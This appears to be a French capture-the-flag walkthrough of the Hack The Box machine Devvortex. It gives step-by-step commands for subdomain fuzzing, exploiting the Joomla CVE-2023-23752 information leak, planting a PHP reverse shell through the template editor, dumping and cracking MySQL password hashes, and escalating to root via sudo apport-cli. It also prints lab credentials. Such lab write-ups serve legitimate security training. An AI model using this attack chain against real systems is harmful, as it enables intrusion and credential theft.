HTB - Devvortex

Reconnaissance

# /etc/hosts
10.10.11.242 devvortex.htb

nmap -p- --open -sV -v 10.10.11.242

Ports ouverts :

• 22/tcp — SSH OpenSSH 8.2p1 Ubuntu
• 80/tcp — HTTP nginx 1.18.0

Enumération de sous-domaines

ffuf -u http://devvortex.htb/ -w wordlists/dns.txt \
  -H "Host: FUZZ.devvortex.htb" -mc 0-299

# dev [Status: 200]

# /etc/hosts
10.10.11.242 dev.devvortex.htb

ffuf -u http://dev.devvortex.htb/FUZZ -w wordlists/dicc.txt -mc 0-299
# administrator/ [Status: 200]

Exploitation — CVE-2023-23752 (Joomla)

API Joomla exposant les utilisateurs et la configuration :

http://dev.devvortex.htb/api/index.php/v1/users?public=true
→ lewis, logan

http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
→ lewis:P4ntherg0t1n5r3c0n##

Webshell via template editor

Connexion à /administrator/, édition d’un template Atum pour injecter un reverse shell PHP :

nc -nlvp 4444
# Accès à /administrator/templates/atum/sh.php
python3 -c 'import pty;pty.spawn("/bin/bash")'

Extraction MySQL

mysql -u lewis -p
use joomla;
select * from sd4fg_users;
# logan:$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

hashcat -m 3200 hash rockyou.txt
# logan:tequieromucho

ssh logan@10.10.11.242

Privilege Escalation — apport-cli

sudo -l
# (ALL) /usr/bin/apport-cli

sudo apport-cli -f
# 1 > 2 > V > !/bin/sh

cat /root/root.txt